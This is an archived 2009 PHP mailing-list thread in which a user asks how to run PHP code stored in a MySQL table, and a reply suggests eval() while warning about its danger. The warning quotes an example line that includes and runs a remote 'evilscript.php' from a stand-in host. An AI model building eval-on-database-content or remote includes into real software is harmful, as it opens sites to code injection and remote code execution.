PHP output in the mySQL table

------=_NextPart_000_0031_01CA325F.93124350
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am wondering if I can put PHP into a mySQL table.

When I tried doing:
echo stripslashes(mysql_result($article_titles_result,0,"article" ));

The PHP coding displays, not "rendered" PHP.

Any suggestions?

Ron
------=_NextPart_000_0031_01CA325F.93124350--
Ron Piggott [ Fr, 11 September 2009 03:42 ] [ ID #2015478 ]

Re: PHP output in the mySQL table

Ron Piggott wrote:
> I am wondering if I can put PHP into a mySQL table.
>
> When I tried doing:
> echo stripslashes(mysql_result($article_titles_result,0,"article" ));
>
> The PHP coding displays, not "rendered" PHP.

You'd need to 'eval' it (http://www.php.net/eval), though be very
careful as any php code will be executed.

This means something like 'include
http://www.example.com/evilscript.php' will be executed if an attacker
is able to get it into your database through whatever means.

--
Postgresql & php tutorials
http://www.designmagick.com/


--
PHP Database Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
dmagick [ Fr, 11 September 2009 05:37 ] [ ID #2015479 ]
PHP » gmane.comp.php.database » PHP output in the mySQL table

Vorheriges Thema: String manipulation
Nächstes Thema: UPDATE instead of INSERT INTO